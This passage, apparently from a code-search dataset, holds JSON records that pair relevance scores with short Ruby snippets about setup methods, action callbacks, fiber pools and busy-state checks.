"dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "0464870c8688619d6c104d733d355b3b", "score": "0.53402257", "text": "def define_action_helpers?; end", "title": "" }, { "docid": "0e7bdc54b0742aba847fd259af1e9f9e", "score": "0.53394014", "text": "def set_actions\n actions :all\n end", "title": "" }, { "docid": "5510330550e34a3fd68b7cee18da9524", "score": "0.53321576", "text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "title": "" }, { "docid": "97c8901edfddc990da95704a065e87bc", "score": "0.53124547", "text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "title": "" }, { "docid": "4f9a284723e2531f7d19898d6a6aa20c", "score": "0.529654", "text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "title": "" }, { "docid": "83684438c0a4d20b6ddd4560c7683115", "score": "0.5296262", "text": "def before_actions(*logic)\n self.before_actions = logic\n end", "title": "" }, { "docid": "210e0392ceaad5fc0892f1335af7564b", "score": "0.52952296", "text": "def setup_handler\n end", "title": "" }, { "docid": "a997ba805d12c5e7f7c4c286441fee18", "score": "0.52600986", "text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "1d50ec65c5bee536273da9d756a78d0d", "score": "0.52442724", "text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "635288ac8dd59f85def0b1984cdafba0", "score": "0.5232394", "text": "def workflow\n end", "title": "" }, { "docid": "e34cc2a25e8f735ccb7ed8361091c83e", "score": "0.523231", "text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "title": "" }, { "docid": "78b21be2632f285b0d40b87a65b9df8c", "score": "0.5227454", "text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "923ee705f0e7572feb2c1dd3c154b97c", "score": "0.52201617", "text": "def process_action(...)\n send_action(...)\n end", "title": "" }, { "docid": "b89a3908eaa7712bb5706478192b624d", "score": "0.5212327", "text": "def before_dispatch(env); end", "title": "" }, { "docid": "7115b468ae54de462141d62fc06b4190", "score": "0.52079266", "text": "def after_actions(*logic)\n self.after_actions = logic\n end", "title": "" }, { "docid": "d89a3e408ab56bf20bfff96c63a238dc", "score": "0.52050185", "text": "def setup\n # override and do something appropriate\n end", "title": "" }, { "docid": "62c402f0ea2e892a10469bb6e077fbf2", "score": "0.51754695", "text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "title": "" }, { "docid": "72ccb38e1bbd86cef2e17d9d64211e64", "score": "0.51726824", "text": "def setup(_context)\n end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "1fd817f354d6cb0ff1886ca0a2b6cce4", "score": "0.5166172", "text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "title": "" }, { "docid": "5531df39ee7d732600af111cf1606a35", "score": "0.5159343", "text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "title": "" }, { "docid": "bb6aed740c15c11ca82f4980fe5a796a", "score": "0.51578903", "text": "def determine_valid_action\n\n end", "title": "" }, { "docid": "b38f9d83c26fd04e46fe2c961022ff86", "score": "0.51522785", "text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "title": "" }, { "docid": "199fce4d90958e1396e72d961cdcd90b", "score": "0.5152022", "text": "def startcompany(action)\n @done = true\n action.setup\n end", "title": "" }, { "docid": "994d9fe4eb9e2fc503d45c919547a327", "score": "0.51518047", "text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "title": "" }, { "docid": "62fabe9dfa2ec2ff729b5a619afefcf0", "score": "0.51456624", "text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "adb8115fce9b2b4cb9efc508a11e5990", "score": "0.5133759", "text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "title": "" }, { "docid": "e1dd18cf24d77434ec98d1e282420c84", "score": "0.5112076", "text": "def setup(&block)\n define_method(:setup, &block)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "f54964387b0ee805dbd5ad5c9a699016", "score": "0.5106169", "text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "title": "" }, { "docid": "35b302dd857a031b95bc0072e3daa707", "score": "0.509231", "text": "def config(action, *args); end", "title": "" }, { "docid": "bc3cd61fa2e274f322b0b20e1a73acf8", "score": "0.50873137", "text": "def setup\n @setup_proc.call(self) if @setup_proc\n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.5081088", "text": "def before_action \n end", "title": "" }, { "docid": "246840a409eb28800dc32d6f24cb1c5e", "score": "0.508059", "text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "title": "" }, { "docid": "dfbcf4e73466003f1d1275cdf58a926a", "score": "0.50677156", "text": "def action\n end", "title": "" }, { "docid": "36eb407a529f3fc2d8a54b5e7e9f3e50", "score": "0.50562143", "text": "def matt_custom_action_begin(label); end", "title": "" }, { "docid": "b6c9787acd00c1b97aeb6e797a363364", "score": "0.5050554", "text": "def setup\n # override this if needed\n end", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50474834", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50474834", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "fd421350722a26f18a7aae4f5aa1fc59", "score": "0.5036181", "text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "title": "" }, { "docid": "d02030204e482cbe2a63268b94400e71", "score": "0.5026331", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "title": "" }, { "docid": "4224d3231c27bf31ffc4ed81839f8315", "score": "0.5022976", "text": "def after(action)\n invoke_callbacks *options_for(action).after\n end", "title": "" }, { "docid": "24506e3666fd6ff7c432e2c2c778d8d1", "score": "0.5015441", "text": "def pre_task\n end", "title": "" }, { "docid": "0c16dc5c1875787dacf8dc3c0f871c53", "score": "0.50121695", "text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "title": "" }, { "docid": "c99a12c5761b742ccb9c51c0e99ca58a", "score": "0.5000944", "text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "title": "" }, { "docid": "0cff1d3b3041b56ce3773d6a8d6113f2", "score": "0.5000019", "text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "title": "" }, { "docid": "791f958815c2b2ac16a8ca749a7a822e", "score": "0.4996878", "text": "def setup_signals; end", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4989888", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4989888", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "5aa51b20183964c6b6f46d150b0ddd79", "score": "0.49864885", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "title": "" }, { "docid": "7647b99591d6d687d05b46dc027fbf23", "score": "0.49797225", "text": "def initialize(*args)\n super\n @action = :set\nend", "title": "" }, { "docid": "67e7767ce756766f7c807b9eaa85b98a", "score": "0.49785787", "text": "def after_set_callback; end", "title": "" }, { "docid": "2a2b0a113a73bf29d5eeeda0443796ec", "score": "0.4976161", "text": "def setup\n #implement in subclass;\n end", "title": "" }, { "docid": "63e628f34f3ff34de8679fb7307c171c", "score": "0.49683493", "text": "def lookup_action; end", "title": "" }, { "docid": "a5294693c12090c7b374cfa0cabbcf95", "score": "0.4965126", "text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "title": "" }, { "docid": "57dbfad5e2a0e32466bd9eb0836da323", "score": "0.4958034", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "5b6d613e86d3d68152f7fa047d38dabb", "score": "0.49559742", "text": "def release_actions; end", "title": "" }, { "docid": "4aceccac5b1bcf7d22c049693b05f81c", "score": "0.4954353", "text": "def around_hooks; end", "title": "" }, { "docid": "2318410efffb4fe5fcb97970a8700618", "score": "0.49535993", "text": "def save_action; end", "title": "" }, { "docid": "64e0f1bb6561b13b482a3cc8c532cc37", "score": "0.4952725", "text": "def setup(easy)\n super\n easy.customrequest = @verb\n end", "title": "" }, { "docid": "fbd0db2e787e754fdc383687a476d7ec", "score": "0.49467874", "text": "def action_target()\n \n end", "title": "" }, { "docid": "b280d59db403306d7c0f575abb19a50f", "score": "0.49423352", "text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "title": "" }, { "docid": "9f7547d93941fc2fcc7608fdf0911643", "score": "0.49325448", "text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "title": "" }, { "docid": "da88436fe6470a2da723e0a1b09a0e80", "score": "0.49282882", "text": "def before_setup\n # do nothing by default\n end", "title": "" }, { "docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd", "score": "0.49269363", "text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "title": "" }, { "docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3", "score": "0.49269104", "text": "def default_action; end", "title": "" }, { "docid": "3ba85f3cb794f951b05d5907f91bd8ad", "score": "0.49252945", "text": "def setup(&blk)\n @setup_block = blk\n end", "title": "" }, { "docid": "80834fa3e08bdd7312fbc13c80f89d43", "score": "0.4923091", "text": "def callback_phase\n super\n end", "title": "" }, { "docid": "f1da8d654daa2cd41cb51abc7ee7898f", "score": "0.49194667", "text": "def advice\n end", "title": "" }, { "docid": "99a608ac5478592e9163d99652038e13", "score": "0.49174926", "text": "def _handle_action_missing(*args); end", "title": "" }, { "docid": "9e264985e628b89f1f39d574fdd7b881", "score": "0.49173003", "text": "def duas1(action)\n action.call\n action.call\nend", "title": "" }, { "docid": "399ad686f5f38385ff4783b91259dbd7", "score": "0.49171105", "text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "title": "" }, { "docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a", "score": "0.4915879", "text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "title": "" }, { "docid": "6e0842ade69d031131bf72e9d2a8c389", "score": "0.49155936", "text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "title": "" } ]
f208b892afa3cf67a6dbd4bcf6aafb8d
makes sure that the process is labeled as +busy+ while the given block is being run.
[ { "docid": "3b46c569b08c35171e65b2c8b32a622b", "score": "0.7566523", "text": "def busy\n @busy = true\n yield\n ensure\n @busy = false\n end", "title": "" } ]
[ { "docid": "457e19cce8096e90312c3eebe048bd53", "score": "0.6450465", "text": "def busy( &block )\n self.connection.status( :dnd, \"Working...\" )\n yield\n self.connection.status( :chat, \"JabberListener waiting for instructions\" )\n end", "title": "" }, { "docid": "a87f48d5377d9040f509f9d9b89c33e5", "score": "0.6392684", "text": "def busy_handler( &block ) # :yields: resource, retries\n SQLite::API.busy_handler( @handle, block )\n end", "title": "" }, { "docid": "28563f9e99da2f7a2318c344d1702ff0", "score": "0.63884693", "text": "def busy?; end", "title": "" }, { "docid": "f87297a99b38006c6b754a1b160b9ed5", "score": "0.6276097", "text": "def loop(wait=nil, &block)\n running = block || Proc.new { |c| busy? }\n loop_forever { break unless process(wait, &running) }\n end", "title": "" }, { "docid": "118322521c9ea2225e9bf5eb1acf10ed", "score": "0.6137938", "text": "def check_block\n finished = @finishable.nil? or @finishable.is_finished?\n puts finished\n if finished\n @finishable, @blocked = nil, false\n return @blocked\n end\n \n @blocked = !finished\n end", "title": "" }, { "docid": "52c0a902c99cfe3345fefe797bf2ab1b", "score": "0.60154265", "text": "def wait_running(blocking = false)\n true\n end", "title": "" }, { "docid": "a36a8d063a71c9649f660b300172b324", "score": "0.59902465", "text": "def valid()\n if (@block) then @block.call(true) end\n end", "title": "" }, { "docid": "a17bef8db5329d2ac80ec94fb8eb8abf", "score": "0.59681994", "text": "def on_busy(reason)\n end", "title": "" }, { "docid": "e2a030aa2647805aaa34c12d9b9126bc", "score": "0.59651953", "text": "def busy?()\n @mutex.synchronize() do\n return @busy\n end\n end", "title": "" }, { "docid": "21d4a0a0a6daee9140e3b13363f49b69", "score": "0.5929834", "text": "def spawn(&block)\n if fiber = @fibers.shift\n @busy_fibers[fiber.object_id] = fiber\n fiber.resume(block)\n else\n @queue << block\n end\n self # we are keen on hiding our queue\n end", "title": "" }, { "docid": "2df815dc88ee63d2c8ffc03ad36edcbd", "score": "0.5921694", "text": "def process(wait=nil, &block)\n return true\n end", "title": "" }, { "docid": "802f2d08bfaf8befdb604273c7335fa9", "score": "0.59164125", "text": "def wait_while\n while yield\n\twait\n end\n end", "title": "" }, { "docid": "0527c2be0ebc36f066b33b2f99ac0728", "score": "0.5895388", "text": "def busy?\n @busy\n end", "title": "" }, { "docid": "0527c2be0ebc36f066b33b2f99ac0728", "score": "0.5895388", "text": "def busy?\n @busy\n end", "title": "" }, { "docid": "7bd730df67811761463480dca2d660ce", "score": "0.5832062", "text": "def wait_while\n while yield\n wait\n end\n end", "title": "" }, { "docid": "789e6a304386feac2ba6cdd8bd1a39a3", "score": "0.5827056", "text": "def busy?\n busy = false\n @mutex.synchronize { busy = !!@busy }\n busy\n end", "title": "" }, { "docid": "d044d7be35f547aa5c3fe9e374f01547", "score": "0.581886", "text": "def synchronize(&block)\n @pool.hold(&block)\n end", "title": "" }, { "docid": "d044d7be35f547aa5c3fe9e374f01547", "score": "0.581886", "text": "def synchronize(&block)\n @pool.hold(&block)\n end", "title": "" }, { "docid": "7e8a528167d29f8539332d10b0e86660", "score": "0.5816159", "text": "def block!\n self.update_attribute(:status, BLOCKED)\n end", "title": "" }, { "docid": "dbafe3e0b94ae76852ffaf799d4b3b5b", "score": "0.5806262", "text": "def busy?\n status == :busy\n end", "title": "" }, { "docid": "ffc0f571423e651b351c924775ecb970", "score": "0.5798995", "text": "def busy?\n !(@status == :wait || @status == :disabled || @status == :error)\n end", "title": "" }, { "docid": "77dc8ea9be9fe32e59a9872bdc5e7050", "score": "0.5793931", "text": "def signal_wait_until(pr, &block)\n #NOTE: busy waiting!!!\n while true do\n torrent = yield\n break if pr.call torrent\n end\n end", "title": "" }, { "docid": "9e4d713fb7b1027b4e35ee3742ddbd52", "score": "0.5783505", "text": "def update_busy\n minutes = 0\n self.subprocesses.each do |subprocess|\n minutes = minutes + (subprocess.minutes+subprocess.setup_time)\n end\n self.update(busy:minutes,available:self.minutes-minutes)\n end", "title": "" }, { "docid": "54c40326514427387ec443ab57a705c9", "score": "0.57802767", "text": "def record_block\n @block = true\n end", "title": "" }, { "docid": "aa5b045fdeff71755e27cca8a9e6fd69", "score": "0.5776708", "text": "def synchronize_block(&block)\n @lock.synchronize(&block)\n end", "title": "" }, { "docid": "e0eade6ff8703fbc5a8764183727c825", "score": "0.57698476", "text": "def run_on_busy_tb?\n $game_message.busy?\n end", "title": "" }, { "docid": "120d6651548622d5b266dd879694373b", "score": "0.5750151", "text": "def process(wait = T.unsafe(nil), &block); end", "title": "" }, { "docid": "db1a09339d620d037d20f619a2944ed0", "score": "0.5717253", "text": "def wait_while\n while yield\n wait\n end\n end", "title": "" }, { "docid": "e20cde810b78a430110b951796bfe2d3", "score": "0.5712972", "text": "def execute(&block)\n @mutex.synchronize do\n if @active_thread\n condition_variable = ConditionVariable.new\n @waiting_threads.push(condition_variable)\n condition_variable.wait(@mutex)\n end\n @active_thread = true\n end\n return_value = yield\n ensure\n @mutex.synchronize do\n @active_thread = false\n next_waiting_thread = @waiting_threads.shift\n next_waiting_thread&.signal\n end\n end", "title": "" }, { "docid": "f15cd5e90d4e2bc3fa2fbfd5a7e02114", "score": "0.5711559", "text": "def update_blocked\n unblocked = @blocked.find_all {|worker| worker.check_block; !worker.blocked?}\n @blocked -= unblocked\n @running += unblocked\n end", "title": "" }, { "docid": "5ea0a321cd2c1b36c896ab52d6712fd2", "score": "0.5690457", "text": "def busy?\n status == \"busy\"\n end", "title": "" }, { "docid": "55f314ff96ce29629b258051f2f94d5d", "score": "0.56730413", "text": "def schedule(&block)\n pool_fiber.resume(block)\n end", "title": "" }, { "docid": "8ec5fd3e7cf30cef72086961746e79a6", "score": "0.56689566", "text": "def stop_condition(&block)\n self.gracefully_stop_mark = block\n end", "title": "" }, { "docid": "65c1078526ed92e4cab178f1f42716e1", "score": "0.56686664", "text": "def spawn(&block)\n if fiber = @fibers.shift\n fiber[:callbacks] = []\n @busy_fibers[fiber.object_id] = fiber\n fiber.resume(block)\n else\n @queue << block\n end\n self # we are keen on hiding our queue\n end", "title": "" }, { "docid": "ac04349f42ee06c95b343c04d6516c4c", "score": "0.56635314", "text": "def while(frames, &block)\n frames.times do\n block.call\n wait_internal\n end\n end", "title": "" }, { "docid": "c57c84e7a20d9d4a3505135f8ebe6841", "score": "0.56595224", "text": "def work\n if @busy && @remaining_job_time > 0\n @remaining_job_time -= 1\n end\n end", "title": "" }, { "docid": "ff22906bf478474abeb1ff0284824072", "score": "0.5645099", "text": "def wait_for_message\r\n Fiber.yield while $game_message.busy?\r\n end", "title": "" }, { "docid": "490780ebf18a6300f95b8a7b164ac6d7", "score": "0.56172043", "text": "def run_nonblock(&block)\n @timeout = 0\n run &block\n end", "title": "" }, { "docid": "918108eeffef18288b95aa37de17772b", "score": "0.55994415", "text": "def wait\n\t\t\t\tif @count > 0\n\t\t\t\t\tFiber.yield\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tsucceeded?\n\t\t\tend", "title": "" }, { "docid": "81f6b0cc4b5dc3b2efeaf450a143b7a8", "score": "0.5594609", "text": "def use_blocker\n blocker do\n # next\n # break\n # return\n \"HA!\"\n # next\n # break\n # return\n end\n puts \"DONE!\"\nend", "title": "" }, { "docid": "2cc5944d1d7a85e67e829c554bcaf696", "score": "0.5573752", "text": "def block\n true\n end", "title": "" }, { "docid": "8fcf89005c2b4c6033635925a7db2c3a", "score": "0.55627126", "text": "def wait_while(cycle)\n while yield\n sleep(cycle)\n end\n end", "title": "" }, { "docid": "6fd4d54f1bd41831067697fe08e05da1", "score": "0.55564797", "text": "def wait_for_block_dev(path)\n Timeout.timeout(600) do\n until ::File.blockdev?(path)\n Chef::Log.info(\"device #{path} not ready - sleeping 5s\")\n sleep(5)\n rescan_pci\n end\n Chef::Log.info(\"device #{path} is ready\")\n end\nend", "title": "" }, { "docid": "b41d5292f864a10b1e69f6ef2ded6ead", "score": "0.55431575", "text": "def wait_for_block_dev(path)\n Timeout.timeout(60) do\n until ::File.blockdev?(path)\n Chef::Log.info(\"device #{path} not ready - sleeping 5s\")\n sleep(5)\n rescan_pci\n end\n Chef::Log.info(\"device #{path} is ready\")\n end\nend", "title": "" }, { "docid": "b41d5292f864a10b1e69f6ef2ded6ead", "score": "0.55431575", "text": "def wait_for_block_dev(path)\n Timeout.timeout(60) do\n until ::File.blockdev?(path)\n Chef::Log.info(\"device #{path} not ready - sleeping 5s\")\n sleep(5)\n rescan_pci\n end\n Chef::Log.info(\"device #{path} is ready\")\n end\nend", "title": "" }, { "docid": "0404ce7ad224e2a4ffe4eff8ab679fa1", "score": "0.5519487", "text": "def block!\n self.update_attribute(:blocked, true)\n end", "title": "" }, { "docid": "a92f4e76d9e91eb4e455c4618233b422", "score": "0.55191725", "text": "def wait_until(cycle)\n until yield\n\t sleep(cycle)\n\tend\n end", "title": "" }, { "docid": "9e172bd0691f6553a9024930d612996d", "score": "0.5513341", "text": "def run_block\n if @block\n _block = @block\n @block = nil\n instance_eval &_block\n true\n end\n end", "title": "" }, { "docid": "0a0acc85da286eabaf51c4d2e584248d", "score": "0.5508171", "text": "def busy?(purpose)\n (@exclusive_thread && @exclusive_thread != Thread.current) ||\n @waiting.any? { |k, v| k != Thread.current && !v.include?(purpose) } ||\n @sharing.size > (@sharing[Thread.current] > 0 ? 1 : 0)\n end", "title": "" }, { "docid": "d13a75ee8d7fadbd72e76d98518254a6", "score": "0.5493855", "text": "def block!\n self.blocked = Time.now\n self.save\n end", "title": "" }, { "docid": "9905f4aa92f21ea397e269a5abcc158d", "score": "0.54840547", "text": "def wait\n @running.reset\n @waiting.set\n @running.wait\n end", "title": "" }, { "docid": "66bc79441498e3ad25bc41d773217ac0", "score": "0.5483711", "text": "def cancel(block)\n wblock = @want_blocks_m.synchronize { @want_blocks.delete2 block }\n unless wblock.nil? || !wblock.requested?\n rt_debug \"#{self}: sending cancel for #{wblock}\"\n queue_message(:cancel, {:index => wblock.pindex, :begin => wblock.begin,\n :length => wblock.length})\n end\n get_want_blocks unless wblock.nil?\n end", "title": "" }, { "docid": "d9203b1b852aac4896bed23793f250bd", "score": "0.5481754", "text": "def when_checkpoint_is_ready(&block)\n ready_blocks << block\n end", "title": "" }, { "docid": "8e1deffa4e4a00788e322634ee2005ae", "score": "0.54774517", "text": "def within_preserved_state\n lock.synchronize do\n begin\n interactor.stop if interactor\n @result = yield\n rescue Interrupt\n # Bring back Pry when the block is halted with Ctrl-C\n end\n\n interactor.start if interactor && running\n end\n\n @result\n end", "title": "" }, { "docid": "8688d93b7f3266a865e7177b7af30320", "score": "0.54739225", "text": "def loop(&block)\n block ||= Proc.new { pending_requests.any? }\n session.loop{Rex::ThreadSafe.sleep(0.5); block.call }\n end", "title": "" }, { "docid": "bbfe94812f1368fc83226f919ecaa461", "score": "0.54703355", "text": "def blocks() end", "title": "" }, { "docid": "7cbb6473a9cafe4b1a34edc63b39090e", "score": "0.5470262", "text": "def blocking_thread\n poller_thread\n end", "title": "" }, { "docid": "3d1907d99def31c7eb7df8b866ae2370", "score": "0.54622734", "text": "def schedule(&block)\n fiber = pool_fiber\n EM.next_tick { fiber.resume(block) }\n end", "title": "" }, { "docid": "896cf211a811fbedbcbe660b2733e054", "score": "0.5449931", "text": "def waitUntil\n until yield\n sleep 0.5\n end\nend", "title": "" }, { "docid": "c0deb72561af1b18df9b5023c279a3a2", "score": "0.5445808", "text": "def wait_until_blocked(timeout=nil)\n @mutex.synchronize do\n return true unless @blocked == NOT_YET\n\n start = Time.now\n time_to_stop = timeout ? (start + timeout) : nil\n\n logger.debug { \"#{__method__} @blocked: #{@blocked.inspect} about to wait\" } \n @cond.wait(timeout)\n\n if (time_to_stop and (Time.now > time_to_stop)) and (@blocked == NOT_YET)\n return nil\n end\n\n (@blocked == NOT_YET) ? nil : true\n end\n end", "title": "" }, { "docid": "f4334805c6141ecc84272118acb30f6c", "score": "0.54177207", "text": "def runblock\r\n\t\t\t@b.call\r\n\t\tend", "title": "" }, { "docid": "f4334805c6141ecc84272118acb30f6c", "score": "0.54177207", "text": "def runblock\r\n\t\t\t@b.call\r\n\t\tend", "title": "" }, { "docid": "35dc2d87bc2f3313bc488af27eba3186", "score": "0.54175115", "text": "def spawn(evented = true, &block)\n if fiber = @fibers.shift\n @busy_fibers[fiber.object_id] = fiber\n fiber[:neverblock] = evented\n fiber.resume(block)\n else\n @queue << block\n end\n self # we are keen on hiding our queue\n end", "title": "" }, { "docid": "bdab5d44e07babe4ffc4ef64379f9191", "score": "0.54156643", "text": "def wait_until\n until yield\n\twait\n end\n end", "title": "" }, { "docid": "3ca2543bfb8c92fe6bd1641e985a1663", "score": "0.5405962", "text": "def busy?()\n !@current_req.nil? || 